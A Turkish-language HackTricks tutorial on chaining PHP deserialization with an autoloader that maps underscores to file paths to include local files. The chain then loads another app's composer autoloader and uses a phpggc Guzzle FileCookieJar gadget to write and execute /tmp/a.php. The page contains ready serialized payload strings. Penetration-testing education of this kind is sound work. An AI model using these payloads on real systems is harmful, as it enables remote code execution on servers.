# PHP - Deserialization + Otomatik Yükleme Sınıfları
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
İlk olarak, [**Otomatik Yükleme Sınıfları**](https://www.php.net/manual/en/language.oop5.autoload.php)'nın ne olduğunu kontrol etmelisiniz. ## PHP deserialization + spl\_autoload\_register + LFI/Gadget **Web uygulamasında PHP deserializasyonu** bulduk, ancak **`phpggc`** içindeki gadgetlara karşı savunmasız bir kütüphane yok. Bununla birlikte, aynı konteynerde **savunmasız kütüphanelere sahip farklı bir composer web uygulaması** bulunuyordu. Bu nedenle, amacımız, deserializasyona karşı savunmasız olan web uygulamasının **composer yükleyicisini yüklemek** ve onu kullanarak deserializasyona karşı savunmasız olan kütüphaneyi bir gadget ile sömürmek. Adımlar: * Bir **deserializasyon** buldunuz ve mevcut uygulama kodunda **hiçbir gadget yok** * Aşağıdaki gibi bir **`spl_autoload_register`** işlevini istediğiniz herhangi bir yerel `.php` uzantılı dosyayı **yüklemek için istismar edebilirsiniz** * Bunun için, sınıfın adı **`$name`** içinde olacak bir deserializasyonu kullanabilirsiniz. Bir seri nesnede sınıf adında "/" veya "." kullanamazsınız, ancak **kod**, **alt çizgileri** ("\_") **eğik çizgilere** ("/") **dönüştürüyor**. Bu nedenle, `tmp_passwd` gibi bir sınıf adı `/tmp/passwd.php`'ye dönüştürülecek ve kod onu yüklemeye çalışacak.\ Bir **gadget örneği** şu şekilde olabilir: **`O:10:"tmp_passwd":0:{}`** ```php spl_autoload_register(function ($name) { if (preg_match('/Controller$/', $name)) { $name = "controllers/${name}"; } elseif (preg_match('/Model$/', $name)) { $name = "models/${name}"; } elseif (preg_match('/_/', $name)) { $name = preg_replace('/_/', '/', $name); } $filename = "/${name}.php"; if (file_exists($filename)) { require $filename; } elseif (file_exists(__DIR__ . $filename)) { require __DIR__ . $filename; } }); ``` {% hint style="success" %} Eğer bir **dosya yükleme** işlemi yapabilir ve **`.php` uzantılı** bir dosya yükleyebilirseniz, bu işlevselliği **doğrudan kötüye kullanabilir** ve zaten RCE elde edebilirsiniz. {% endhint %} Benim durumumda böyle bir şeyim yoktu, ancak **aynı konteyner** içinde başka bir composer web sayfası vardı ve bu sayfa **`phpggc` gadget'ına** karşı savunmasız bir kütüphane içeriyordu. * Bu diğer kütüphaneyi yüklemek için, öncelikle **o diğer web uygulamasının composer yükleyicisini yüklemeniz gerekmektedir** (çünkü mevcut uygulamanın yükleyicisi diğer uygulamanın kütüphanelerine erişemez). **Uygulamanın yolunu bildiğinizde**, bunu çok kolay bir şekilde yapabilirsiniz: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Benim durumumda, composer yükleyicisi `/www/frontend/vendor/autoload.php` içindeydi) * Şimdi, diğer uygulamanın composer yükleyicisini **yüklüyoruz**, bu yüzden **`phpggc`** **payload**'ını **oluşturma zamanı** geldi. Benim durumumda, **`Guzzle/FW1`**'i kullandım, bu da bana **dosya sistemi içinde herhangi bir dosya yazma** izni verdi. * NOT: **Oluşturulan gadget çalışmıyordu**, çalışması için phpggc'nin **`chain.php`** payload'ını **değiştirdim** ve sınıfların **tüm özniteliklerini private'dan public'a** ayarladım. Aksi takdirde, dizeden çözümlendikten sonra oluşturulan nesnelerin özniteliklerinin herhangi bir değeri olmazdı. * Şimdi, diğer uygulamanın composer yükleyicisini **yükleme yoluna sahibiz** ve çalışan bir **phpggc payload'ımız var**, ancak yükleyicinin gadget kullanıldığında yüklenmesi için **BU İSTEKTE AYNI İŞLEMİ yapmamız gerekiyor**. Bunun için, her iki nesneyi içeren bir seri hale getirilmiş dizi gönderdim: * **Önce yükleyicinin yüklendiğini, ardından payload'ın yüklendiğini** görebilirsiniz. {% code overflow="wrap" %} ```php a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} ``` {% endcode %} * Şimdi, bir dosya oluşturup yazabiliriz, ancak kullanıcı web sunucusunun içindeki herhangi bir klasöre yazamaz. Bu yüzden, payloadda görebileceğiniz gibi, bazı base64 ile PHP **`system`** çağrısı **`/tmp/a.php`** içinde oluşturulur. Ardından, diğer web uygulamasının composer yükleyicisini yüklemek için LFI olarak kullandığımız ilk tür payloadu yeniden kullanabiliriz. Sadece bunu deserialization gadget'a ekleyin: {% code overflow="wrap" %} ```php a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} ``` {% endcode %} **Payload özet** * Aynı konteynerdeki başka bir web uygulamasının **composer autoload'ını yükle** * **phpggc gadget'ını yükle** ve diğer web uygulamasının bir kütüphanesini kötüye kullan (deserialization açığına sahip olan başlangıç web uygulamasında herhangi bir gadget yoktu) * Gadget, **kötü niyetli komutlar içeren bir PHP payload'uyla** /tmp/a.php adlı bir dosya oluşturacak (web uygulama kullanıcısı herhangi bir web uygulamasının herhangi bir klasörüne yazamaz) * Payload'ımızın son kısmı, komutları yürütecek olan **oluşturulan php dosyasını yüklemek** için kullanılacak Bu deserialization'ı **iki kez çağırmam gerekiyordu**. Testlerimde, ilk seferinde `/tmp/a.php` dosyası oluşturuldu ancak yüklenmedi ve ikinci seferinde doğru şekilde yüklendi.
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin! HackTricks'i desteklemenin diğer yolları: * Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.